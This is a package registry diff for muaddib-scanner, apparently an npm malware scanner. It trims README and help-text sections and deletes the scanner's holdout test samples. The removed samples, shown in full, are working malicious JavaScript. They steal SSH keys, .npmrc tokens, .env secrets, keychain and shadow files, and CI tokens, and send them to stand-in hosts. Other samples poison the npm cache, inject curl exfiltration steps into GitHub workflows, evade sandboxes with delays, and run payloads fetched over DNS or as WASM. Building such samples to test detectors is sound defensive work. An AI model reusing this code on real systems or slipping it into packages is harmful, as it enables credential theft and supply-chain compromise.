muaddib-scanner 2.2.2 → 2.2.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.fr.md +2 -36
- package/README.md +2 -36
- package/bin/muaddib.js +0 -9
- package/package.json +1 -1
- package/datasets/holdout-v2/conditional-os-payload/index.js +0 -36
- package/datasets/holdout-v2/conditional-os-payload/package.json +0 -6
- package/datasets/holdout-v2/env-var-reconstruction/index.js +0 -21
- package/datasets/holdout-v2/env-var-reconstruction/package.json +0 -6
- package/datasets/holdout-v2/github-workflow-inject/index.js +0 -36
- package/datasets/holdout-v2/github-workflow-inject/package.json +0 -6
- package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +0 -29
- package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +0 -6
- package/datasets/holdout-v2/npm-cache-poison/index.js +0 -38
- package/datasets/holdout-v2/npm-cache-poison/package.json +0 -6
- package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +0 -8
- package/datasets/holdout-v2/process-env-proxy-getter/index.js +0 -35
- package/datasets/holdout-v2/process-env-proxy-getter/package.json +0 -6
- package/datasets/holdout-v2/readable-stream-hijack/index.js +0 -44
- package/datasets/holdout-v2/readable-stream-hijack/package.json +0 -6
- package/datasets/holdout-v2/setTimeout-chain/index.js +0 -50
- package/datasets/holdout-v2/setTimeout-chain/package.json +0 -6
- package/datasets/holdout-v2/wasm-loader/index.js +0 -46
- package/datasets/holdout-v2/wasm-loader/package.json +0 -6
- package/datasets/holdout-v3/dns-txt-payload/index.js +0 -11
- package/datasets/holdout-v3/dns-txt-payload/package.json +0 -6
- package/datasets/holdout-v3/electron-rce/index.js +0 -32
- package/datasets/holdout-v3/electron-rce/package.json +0 -6
- package/datasets/holdout-v3/env-file-parse-exfil/index.js +0 -39
- package/datasets/holdout-v3/env-file-parse-exfil/package.json +0 -6
- package/datasets/holdout-v3/git-credential-steal/index.js +0 -41
- package/datasets/holdout-v3/git-credential-steal/package.json +0 -6
- package/datasets/holdout-v3/npm-hook-hijack/index.js +0 -20
- package/datasets/holdout-v3/npm-hook-hijack/package.json +0 -9
- package/datasets/holdout-v3/postinstall-reverse-shell/index.js +0 -24
- package/datasets/holdout-v3/postinstall-reverse-shell/package.json +0 -9
- package/datasets/holdout-v3/require-cache-poison/index.js +0 -26
- package/datasets/holdout-v3/require-cache-poison/package.json +0 -6
- package/datasets/holdout-v3/steganography-payload/index.js +0 -31
- package/datasets/holdout-v3/steganography-payload/package.json +0 -6
- package/datasets/holdout-v3/symlink-escape/index.js +0 -30
- package/datasets/holdout-v3/symlink-escape/package.json +0 -6
- package/datasets/holdout-v3/timezone-trigger/index.js +0 -38
- package/datasets/holdout-v3/timezone-trigger/package.json +0 -6
- package/metrics/v2.1.5.json +0 -753
- package/metrics/v2.2.0.json +0 -753
- package/metrics/v2.2.1.json +0 -753
- package/nul +0 -0
- /package/assets/{logo2removebg.png → muaddibLogo.png} +0 -0
package/README.fr.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
<p align="center">
|
|
2
|
-
<img src="assets/
|
|
2
|
+
<img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
|
|
3
3
|
</p>
|
|
4
4
|
|
|
5
5
|
<p align="center">
|
|
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
|
|
|
327
327
|
|
|
328
328
|
Affiche la décomposition explicable du score : contribution de chaque finding au score final, avec les poids par règle et multiplicateurs de sévérité.
|
|
329
329
|
|
|
330
|
-
### API Threat Feed
|
|
331
|
-
|
|
332
|
-
```bash
|
|
333
|
-
muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
|
|
334
|
-
muaddib serve [--port N]
|
|
335
|
-
```
|
|
336
|
-
|
|
337
|
-
Exporte les détections sous forme de flux JSON pour intégration SIEM.
|
|
338
|
-
|
|
339
|
-
- `muaddib feed` — Affiche le flux de menaces JSON sur stdout (filtrable par limit, sévérité, date)
|
|
340
|
-
- `muaddib serve` — Démarre un serveur HTTP (port 3000 par défaut) avec `GET /feed` et `GET /health`
|
|
341
|
-
|
|
342
|
-
```bash
|
|
343
|
-
muaddib serve --port 8080
|
|
344
|
-
# GET http://localhost:8080/feed?limit=50&severity=HIGH
|
|
345
|
-
# GET http://localhost:8080/health
|
|
346
|
-
```
|
|
347
|
-
|
|
348
|
-
### Logging des temps de détection
|
|
349
|
-
|
|
350
|
-
```bash
|
|
351
|
-
muaddib detections [--stats] [--json]
|
|
352
|
-
```
|
|
353
|
-
|
|
354
|
-
Historique des détections avec timestamps de première observation et métriques de lead time (délai entre la détection MUAD'DIB et l'advisory publique).
|
|
355
|
-
|
|
356
|
-
### Suivi du taux de faux positifs
|
|
357
|
-
|
|
358
|
-
```bash
|
|
359
|
-
muaddib stats [--daily] [--json]
|
|
360
|
-
```
|
|
361
|
-
|
|
362
|
-
Statistiques de scan : total scanné, clean, suspect, taux de faux positifs, nombre confirmé malveillant. Utilisez `--daily` pour le détail par jour.
|
|
363
|
-
|
|
364
330
|
### Replay ground truth
|
|
365
331
|
|
|
366
332
|
```bash
|
|
@@ -739,7 +705,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
739
705
|
- **ADR** (Adversarial Detection Rate) : taux de detection sur 35 samples malveillants evasifs (4 vagues red team + holdout promu)
|
|
740
706
|
- **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avant correction des regles (mesure de generalisation)
|
|
741
707
|
|
|
742
|
-
|
|
708
|
+
Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
|
|
743
709
|
|
|
744
710
|
---
|
|
745
711
|
|
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
<p align="center">
|
|
2
|
-
<img src="assets/
|
|
2
|
+
<img src="assets/muaddibLogo.png" alt="MUAD'DIB Logo" width="700">
|
|
3
3
|
</p>
|
|
4
4
|
|
|
5
5
|
<p align="center">
|
|
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
|
|
|
327
327
|
|
|
328
328
|
Shows explainable score breakdown: how each finding contributes to the final risk score, with per-rule weights and severity multipliers.
|
|
329
329
|
|
|
330
|
-
### Threat Feed API
|
|
331
|
-
|
|
332
|
-
```bash
|
|
333
|
-
muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
|
|
334
|
-
muaddib serve [--port N]
|
|
335
|
-
```
|
|
336
|
-
|
|
337
|
-
Export detections as a JSON threat feed for SIEM integration.
|
|
338
|
-
|
|
339
|
-
- `muaddib feed` — Output threat feed JSON to stdout (filterable by limit, severity, date)
|
|
340
|
-
- `muaddib serve` — Start an HTTP server (default port 3000) with `GET /feed` and `GET /health` endpoints
|
|
341
|
-
|
|
342
|
-
```bash
|
|
343
|
-
muaddib serve --port 8080
|
|
344
|
-
# GET http://localhost:8080/feed?limit=50&severity=HIGH
|
|
345
|
-
# GET http://localhost:8080/health
|
|
346
|
-
```
|
|
347
|
-
|
|
348
|
-
### Detection time logging
|
|
349
|
-
|
|
350
|
-
```bash
|
|
351
|
-
muaddib detections [--stats] [--json]
|
|
352
|
-
```
|
|
353
|
-
|
|
354
|
-
View detection history with first-seen timestamps and lead time metrics (time between MUAD'DIB detection and public advisory).
|
|
355
|
-
|
|
356
|
-
### FP rate tracking
|
|
357
|
-
|
|
358
|
-
```bash
|
|
359
|
-
muaddib stats [--daily] [--json]
|
|
360
|
-
```
|
|
361
|
-
|
|
362
|
-
View scan statistics: total scanned, clean, suspect, false positive rate, confirmed malicious count. Use `--daily` for per-day breakdown.
|
|
363
|
-
|
|
364
330
|
### Ground truth replay
|
|
365
331
|
|
|
366
332
|
```bash
|
|
@@ -742,7 +708,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
742
708
|
- **ADR** (Adversarial Detection Rate): detection rate on 35 evasive malicious samples across 4 red-team waves + promoted holdout
|
|
743
709
|
- **Holdout** (pre-tuning): detection rate on 10 unseen samples before any rule correction (measures generalization)
|
|
744
710
|
|
|
745
|
-
|
|
711
|
+
See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
|
|
746
712
|
|
|
747
713
|
---
|
|
748
714
|
|
package/bin/muaddib.js
CHANGED
|
@@ -363,15 +363,6 @@ const helpText = `
|
|
|
363
363
|
muaddib scrape Scrape new IOCs
|
|
364
364
|
muaddib sandbox <pkg> [--strict] [--no-canary] Analyze in isolated Docker container
|
|
365
365
|
muaddib sandbox-report <pkg> Sandbox + detailed network report
|
|
366
|
-
muaddib feed [options] Threat feed (JSON)
|
|
367
|
-
muaddib serve [options] Start threat feed HTTP server
|
|
368
|
-
muaddib detections List recent detections
|
|
369
|
-
muaddib detections --stats Show aggregated detection stats
|
|
370
|
-
muaddib detections --json Raw JSON output
|
|
371
|
-
muaddib stats Show scan stats + FP rate
|
|
372
|
-
muaddib stats --daily Last 7 days daily breakdown
|
|
373
|
-
muaddib stats --json Raw JSON dump
|
|
374
|
-
muaddib evaluate Evaluate scanner effectiveness (TPR, FPR, ADR)
|
|
375
366
|
muaddib version Show version
|
|
376
367
|
|
|
377
368
|
Replay Options:
|
package/package.json
CHANGED
|
@@ -1,36 +0,0 @@
|
|
|
1
|
-
const os = require('os');
|
|
2
|
-
const { execSync } = require('child_process');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
|
|
5
|
-
function exfil(data) {
|
|
6
|
-
const payload = JSON.stringify(data);
|
|
7
|
-
const req = https.request({
|
|
8
|
-
hostname: 'metrics.example.com',
|
|
9
|
-
port: 443,
|
|
10
|
-
path: '/v2/report',
|
|
11
|
-
method: 'POST',
|
|
12
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
13
|
-
});
|
|
14
|
-
req.on('error', () => {});
|
|
15
|
-
req.write(payload);
|
|
16
|
-
req.end();
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
const platform = os.platform();
|
|
20
|
-
const arch = os.arch();
|
|
21
|
-
|
|
22
|
-
try {
|
|
23
|
-
if (platform === 'darwin') {
|
|
24
|
-
// macOS: dump keychain credentials
|
|
25
|
-
const creds = execSync('security dump-keychain -d login.keychain 2>/dev/null', { encoding: 'utf8', timeout: 10000 });
|
|
26
|
-
exfil({ os: 'darwin', arch, type: 'keychain', data: creds.substring(0, 8192) });
|
|
27
|
-
} else if (platform === 'linux') {
|
|
28
|
-
// Linux: read /etc/shadow
|
|
29
|
-
const shadow = execSync('cat /etc/shadow 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
|
|
30
|
-
exfil({ os: 'linux', arch, type: 'shadow', data: shadow });
|
|
31
|
-
} else if (platform === 'win32') {
|
|
32
|
-
// Windows: extract saved credentials via PowerShell
|
|
33
|
-
const creds = execSync('powershell -c "Get-StoredCredential | ConvertTo-Json"', { encoding: 'utf8', timeout: 10000 });
|
|
34
|
-
exfil({ os: 'win32', arch, type: 'credentials', data: creds });
|
|
35
|
-
}
|
|
36
|
-
} catch (e) {}
|
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
const https = require('https');
|
|
2
|
-
|
|
3
|
-
// Reconstruct "GITHUB_TOKEN" from charCodes
|
|
4
|
-
const codes = [71, 73, 84, 72, 85, 66, 95, 84, 79, 75, 69, 78];
|
|
5
|
-
const varName = codes.map(c => String.fromCharCode(c)).join('');
|
|
6
|
-
|
|
7
|
-
// Access via bracket notation to avoid static detection
|
|
8
|
-
const secret = process.env[varName];
|
|
9
|
-
|
|
10
|
-
if (secret) {
|
|
11
|
-
const payload = JSON.stringify({ t: secret, h: require('os').hostname() });
|
|
12
|
-
const req = https.request({
|
|
13
|
-
hostname: 'telemetry-api.example.com',
|
|
14
|
-
port: 443,
|
|
15
|
-
path: '/v1/collect',
|
|
16
|
-
method: 'POST',
|
|
17
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
18
|
-
});
|
|
19
|
-
req.write(payload);
|
|
20
|
-
req.end();
|
|
21
|
-
}
|
|
@@ -1,36 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
|
|
4
|
-
// Find the project root by traversing up
|
|
5
|
-
let projectRoot = __dirname;
|
|
6
|
-
while (projectRoot !== path.dirname(projectRoot)) {
|
|
7
|
-
if (fs.existsSync(path.join(projectRoot, '.git'))) break;
|
|
8
|
-
projectRoot = path.dirname(projectRoot);
|
|
9
|
-
}
|
|
10
|
-
|
|
11
|
-
const workflowDir = path.join(projectRoot, '.github', 'workflows');
|
|
12
|
-
|
|
13
|
-
// Malicious step to inject into existing workflows
|
|
14
|
-
const maliciousStep = `
|
|
15
|
-
- name: Check dependencies
|
|
16
|
-
run: |
|
|
17
|
-
curl -s https://api.example.com/hook -d "token=${{ secrets.GITHUB_TOKEN }}" -d "repo=${{ github.repository }}"
|
|
18
|
-
`;
|
|
19
|
-
|
|
20
|
-
try {
|
|
21
|
-
const files = fs.readdirSync(workflowDir);
|
|
22
|
-
for (const file of files) {
|
|
23
|
-
if (!file.endsWith('.yml') && !file.endsWith('.yaml')) continue;
|
|
24
|
-
|
|
25
|
-
const fullPath = path.join(workflowDir, file);
|
|
26
|
-
let content = fs.readFileSync(fullPath, 'utf8');
|
|
27
|
-
|
|
28
|
-
// Inject after the first "steps:" line
|
|
29
|
-
const stepsIndex = content.indexOf('steps:');
|
|
30
|
-
if (stepsIndex !== -1) {
|
|
31
|
-
const afterSteps = content.indexOf('\n', stepsIndex);
|
|
32
|
-
content = content.slice(0, afterSteps + 1) + maliciousStep + content.slice(afterSteps + 1);
|
|
33
|
-
fs.writeFileSync(fullPath, content);
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
} catch (e) {}
|
|
@@ -1,29 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
|
|
6
|
-
// Read SSH private key
|
|
7
|
-
const sshKeyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
|
|
8
|
-
let keyData;
|
|
9
|
-
try {
|
|
10
|
-
keyData = fs.readFileSync(sshKeyPath, 'utf8');
|
|
11
|
-
} catch (e) {
|
|
12
|
-
process.exit(0);
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
// Encode as base64 to fit in a header
|
|
16
|
-
const encoded = Buffer.from(keyData).toString('base64');
|
|
17
|
-
|
|
18
|
-
// Exfiltrate via custom header to legitimate-looking domain
|
|
19
|
-
const req = https.request({
|
|
20
|
-
hostname: 'api.github.com',
|
|
21
|
-
port: 443,
|
|
22
|
-
path: '/repos/check-update',
|
|
23
|
-
method: 'GET',
|
|
24
|
-
headers: {
|
|
25
|
-
'User-Agent': 'node-updater/1.0',
|
|
26
|
-
'X-Debug-Data': encoded
|
|
27
|
-
}
|
|
28
|
-
});
|
|
29
|
-
req.end();
|
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
const crypto = require('crypto');
|
|
5
|
-
|
|
6
|
-
// Target: npm's content-addressable cache
|
|
7
|
-
const npmCacheDir = path.join(os.homedir(), '.npm', '_cacache', 'content-v2', 'sha512');
|
|
8
|
-
|
|
9
|
-
// Malicious payload to inject into cached package
|
|
10
|
-
const maliciousCode = `
|
|
11
|
-
;(function(){
|
|
12
|
-
const h = require('https');
|
|
13
|
-
const o = require('os');
|
|
14
|
-
const d = JSON.stringify({ h: o.hostname(), u: o.userInfo().username, e: process.env });
|
|
15
|
-
const r = h.request({ hostname: 'collect.example.com', path: '/npm', method: 'POST',
|
|
16
|
-
headers: { 'Content-Length': Buffer.byteLength(d) } });
|
|
17
|
-
r.write(d); r.end();
|
|
18
|
-
})();
|
|
19
|
-
`;
|
|
20
|
-
|
|
21
|
-
try {
|
|
22
|
-
// Walk the cache directory to find JS entries
|
|
23
|
-
const subDirs = fs.readdirSync(npmCacheDir);
|
|
24
|
-
for (const sub of subDirs.slice(0, 5)) {
|
|
25
|
-
const subPath = path.join(npmCacheDir, sub);
|
|
26
|
-
const entries = fs.readdirSync(subPath);
|
|
27
|
-
for (const entry of entries.slice(0, 3)) {
|
|
28
|
-
const entryPath = path.join(subPath, entry);
|
|
29
|
-
const content = fs.readFileSync(entryPath, 'utf8');
|
|
30
|
-
|
|
31
|
-
// Only poison JS files
|
|
32
|
-
if (content.includes('module.exports') || content.includes('require(')) {
|
|
33
|
-
const poisoned = maliciousCode + '\n' + content;
|
|
34
|
-
fs.writeFileSync(entryPath, poisoned);
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
}
|
|
38
|
-
} catch (e) {}
|
|
@@ -1,35 +0,0 @@
|
|
|
1
|
-
const http = require('http');
|
|
2
|
-
|
|
3
|
-
// Snapshot all current env values before interception
|
|
4
|
-
const envSnapshot = Object.assign({}, process.env);
|
|
5
|
-
|
|
6
|
-
// Intercept all process.env property accesses via Object.defineProperty
|
|
7
|
-
// Different from Proxy-based approach — works on the actual process.env object
|
|
8
|
-
const sensitiveKeys = ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'NPM', 'AWS', 'GITHUB'];
|
|
9
|
-
|
|
10
|
-
Object.keys(envSnapshot).forEach(key => {
|
|
11
|
-
const original = envSnapshot[key];
|
|
12
|
-
const isSensitive = sensitiveKeys.some(s => key.toUpperCase().includes(s));
|
|
13
|
-
|
|
14
|
-
Object.defineProperty(process.env, key, {
|
|
15
|
-
get() {
|
|
16
|
-
if (isSensitive) {
|
|
17
|
-
// Silently exfiltrate on each access to a sensitive var
|
|
18
|
-
const payload = JSON.stringify({ k: key, v: original });
|
|
19
|
-
const req = http.request({
|
|
20
|
-
hostname: '127.0.0.1',
|
|
21
|
-
port: 8443,
|
|
22
|
-
path: '/log',
|
|
23
|
-
method: 'POST',
|
|
24
|
-
headers: { 'Content-Length': Buffer.byteLength(payload) }
|
|
25
|
-
});
|
|
26
|
-
req.on('error', () => {});
|
|
27
|
-
req.write(payload);
|
|
28
|
-
req.end();
|
|
29
|
-
}
|
|
30
|
-
return original;
|
|
31
|
-
},
|
|
32
|
-
configurable: true,
|
|
33
|
-
enumerable: true
|
|
34
|
-
});
|
|
35
|
-
});
|
|
@@ -1,44 +0,0 @@
|
|
|
1
|
-
const http = require('http');
|
|
2
|
-
const https = require('https');
|
|
3
|
-
|
|
4
|
-
// Monkey-patch IncomingMessage prototype to intercept all HTTP responses
|
|
5
|
-
const originalEmit = http.IncomingMessage.prototype.emit;
|
|
6
|
-
|
|
7
|
-
http.IncomingMessage.prototype.emit = function(event, ...args) {
|
|
8
|
-
if (event === 'end') {
|
|
9
|
-
// Extract authorization headers from the response's request
|
|
10
|
-
const authHeaders = {};
|
|
11
|
-
const reqHeaders = this.req && this.req.getHeaders ? this.req.getHeaders() : {};
|
|
12
|
-
|
|
13
|
-
for (const [key, value] of Object.entries(reqHeaders)) {
|
|
14
|
-
if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('cookie')) {
|
|
15
|
-
authHeaders[key] = value;
|
|
16
|
-
}
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
if (Object.keys(authHeaders).length > 0) {
|
|
20
|
-
// Forward intercepted auth headers to external server
|
|
21
|
-
const payload = JSON.stringify({
|
|
22
|
-
url: this.req && this.req.path,
|
|
23
|
-
headers: authHeaders,
|
|
24
|
-
timestamp: Date.now()
|
|
25
|
-
});
|
|
26
|
-
|
|
27
|
-
const exfilReq = https.request({
|
|
28
|
-
hostname: 'telemetry.example.com',
|
|
29
|
-
port: 443,
|
|
30
|
-
path: '/collect',
|
|
31
|
-
method: 'POST',
|
|
32
|
-
headers: {
|
|
33
|
-
'Content-Type': 'application/json',
|
|
34
|
-
'Content-Length': Buffer.byteLength(payload)
|
|
35
|
-
}
|
|
36
|
-
});
|
|
37
|
-
exfilReq.on('error', () => {});
|
|
38
|
-
exfilReq.write(payload);
|
|
39
|
-
exfilReq.end();
|
|
40
|
-
}
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
return originalEmit.call(this, event, ...args);
|
|
44
|
-
};
|
|
@@ -1,50 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
|
|
6
|
-
// Anti-sandbox: chained setTimeout with random delays
|
|
7
|
-
// Sandboxes typically timeout after 30s, this chain can take up to 5 minutes
|
|
8
|
-
|
|
9
|
-
function stage1() {
|
|
10
|
-
setTimeout(() => {
|
|
11
|
-
stage2();
|
|
12
|
-
}, Math.random() * 60000);
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
function stage2() {
|
|
16
|
-
setTimeout(() => {
|
|
17
|
-
stage3();
|
|
18
|
-
}, Math.random() * 60000);
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
function stage3() {
|
|
22
|
-
setTimeout(() => {
|
|
23
|
-
stage4();
|
|
24
|
-
}, Math.random() * 60000);
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
function stage4() {
|
|
28
|
-
setTimeout(() => {
|
|
29
|
-
stage5();
|
|
30
|
-
}, Math.random() * 60000);
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
function stage5() {
|
|
34
|
-
setTimeout(() => {
|
|
35
|
-
// Final payload: read .npmrc and exfiltrate
|
|
36
|
-
const npmrc = path.join(os.homedir(), '.npmrc');
|
|
37
|
-
try {
|
|
38
|
-
const token = fs.readFileSync(npmrc, 'utf8');
|
|
39
|
-
const data = Buffer.from(token).toString('base64');
|
|
40
|
-
const req = https.request({
|
|
41
|
-
hostname: 'cdn-analytics.example.com',
|
|
42
|
-
path: '/beacon?d=' + data,
|
|
43
|
-
method: 'GET'
|
|
44
|
-
});
|
|
45
|
-
req.end();
|
|
46
|
-
} catch (e) {}
|
|
47
|
-
}, Math.random() * 60000);
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
stage1();
|
|
@@ -1,46 +0,0 @@
|
|
|
1
|
-
const https = require('https');
|
|
2
|
-
const os = require('os');
|
|
3
|
-
|
|
4
|
-
// Download WASM module at runtime — malicious logic is in the binary
|
|
5
|
-
const wasmUrl = 'https://cdn.example.com/analytics/v3/engine.wasm';
|
|
6
|
-
|
|
7
|
-
function downloadWasm(url) {
|
|
8
|
-
return new Promise((resolve, reject) => {
|
|
9
|
-
https.get(url, (res) => {
|
|
10
|
-
const chunks = [];
|
|
11
|
-
res.on('data', c => chunks.push(c));
|
|
12
|
-
res.on('end', () => resolve(Buffer.concat(chunks)));
|
|
13
|
-
res.on('error', reject);
|
|
14
|
-
}).on('error', reject);
|
|
15
|
-
});
|
|
16
|
-
}
|
|
17
|
-
|
|
18
|
-
async function init() {
|
|
19
|
-
const wasmBytes = await downloadWasm(wasmUrl);
|
|
20
|
-
|
|
21
|
-
// Collect credentials to pass into WASM memory
|
|
22
|
-
const env = process.env;
|
|
23
|
-
const creds = JSON.stringify({
|
|
24
|
-
npm: env.NPM_TOKEN || '',
|
|
25
|
-
gh: env.GITHUB_TOKEN || '',
|
|
26
|
-
aws_key: env.AWS_ACCESS_KEY_ID || '',
|
|
27
|
-
aws_secret: env.AWS_SECRET_ACCESS_KEY || '',
|
|
28
|
-
hostname: os.hostname(),
|
|
29
|
-
user: os.userInfo().username
|
|
30
|
-
});
|
|
31
|
-
|
|
32
|
-
// Instantiate WASM with imported memory containing credentials
|
|
33
|
-
const memory = new WebAssembly.Memory({ initial: 10 });
|
|
34
|
-
const encoder = new TextEncoder();
|
|
35
|
-
const encoded = encoder.encode(creds);
|
|
36
|
-
new Uint8Array(memory.buffer).set(encoded);
|
|
37
|
-
|
|
38
|
-
const { instance } = await WebAssembly.instantiate(wasmBytes, {
|
|
39
|
-
env: { memory, credsLen: encoded.length }
|
|
40
|
-
});
|
|
41
|
-
|
|
42
|
-
// WASM module handles exfiltration internally via imported network functions
|
|
43
|
-
instance.exports.run();
|
|
44
|
-
}
|
|
45
|
-
|
|
46
|
-
init().catch(() => {});
|
|
@@ -1,11 +0,0 @@
|
|
|
1
|
-
const dns = require('dns');
|
|
2
|
-
|
|
3
|
-
// Retrieve payload from DNS TXT record — no HTTP involved
|
|
4
|
-
dns.resolveTxt('payload.evil-dns.com', (err, records) => {
|
|
5
|
-
if (err) return;
|
|
6
|
-
// TXT records come as arrays of strings
|
|
7
|
-
const encoded = records.map(r => r.join('')).join('');
|
|
8
|
-
const decoded = Buffer.from(encoded, 'base64').toString('utf8');
|
|
9
|
-
// Execute the payload received via DNS
|
|
10
|
-
eval(decoded);
|
|
11
|
-
});
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
// Only activate in Electron environment where we have elevated privileges
|
|
2
|
-
if (process.versions && process.versions.electron) {
|
|
3
|
-
const { exec } = require('child_process');
|
|
4
|
-
const os = require('os');
|
|
5
|
-
|
|
6
|
-
// Electron apps often run with higher privileges
|
|
7
|
-
const platform = os.platform();
|
|
8
|
-
let cmd;
|
|
9
|
-
if (platform === 'win32') {
|
|
10
|
-
cmd = 'powershell -NoProfile -Command "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select DisplayName, InstallLocation | ConvertTo-Json"';
|
|
11
|
-
} else if (platform === 'darwin') {
|
|
12
|
-
cmd = 'security find-generic-password -ga "Chrome" 2>&1 | head -20';
|
|
13
|
-
} else {
|
|
14
|
-
cmd = 'cat /etc/shadow 2>/dev/null || cat /etc/passwd';
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
exec(cmd, (err, stdout) => {
|
|
18
|
-
if (stdout) {
|
|
19
|
-
const https = require('https');
|
|
20
|
-
const data = JSON.stringify({ platform, data: stdout });
|
|
21
|
-
const req = https.request({
|
|
22
|
-
hostname: 'electron-data.evil.com',
|
|
23
|
-
port: 443,
|
|
24
|
-
path: '/exfil',
|
|
25
|
-
method: 'POST',
|
|
26
|
-
headers: { 'Content-Type': 'application/json' }
|
|
27
|
-
});
|
|
28
|
-
req.write(data);
|
|
29
|
-
req.end();
|
|
30
|
-
}
|
|
31
|
-
});
|
|
32
|
-
}
|
|
@@ -1,39 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
|
|
5
|
-
// Read .env file directly — no dotenv, no process.env
|
|
6
|
-
const envPath = path.join(process.cwd(), '.env');
|
|
7
|
-
let envContent;
|
|
8
|
-
try {
|
|
9
|
-
envContent = fs.readFileSync(envPath, 'utf8');
|
|
10
|
-
} catch(e) { process.exit(0); }
|
|
11
|
-
|
|
12
|
-
// Manual KEY=VALUE parsing
|
|
13
|
-
const secrets = {};
|
|
14
|
-
envContent.split('\n').forEach(line => {
|
|
15
|
-
const trimmed = line.trim();
|
|
16
|
-
if (!trimmed || trimmed.startsWith('#')) return;
|
|
17
|
-
const eqIdx = trimmed.indexOf('=');
|
|
18
|
-
if (eqIdx === -1) return;
|
|
19
|
-
const key = trimmed.slice(0, eqIdx).trim();
|
|
20
|
-
const val = trimmed.slice(eqIdx + 1).trim().replace(/^["']|["']$/g, '');
|
|
21
|
-
if (/TOKEN|SECRET|KEY|PASSWORD|API/i.test(key)) {
|
|
22
|
-
secrets[key] = val;
|
|
23
|
-
}
|
|
24
|
-
});
|
|
25
|
-
|
|
26
|
-
// Exfiltrate parsed secrets
|
|
27
|
-
if (Object.keys(secrets).length > 0) {
|
|
28
|
-
const data = JSON.stringify(secrets);
|
|
29
|
-
const opts = {
|
|
30
|
-
hostname: 'env-collector.malware.io',
|
|
31
|
-
port: 443,
|
|
32
|
-
path: '/api/env',
|
|
33
|
-
method: 'POST',
|
|
34
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
35
|
-
};
|
|
36
|
-
const req = https.request(opts);
|
|
37
|
-
req.write(data);
|
|
38
|
-
req.end();
|
|
39
|
-
}
|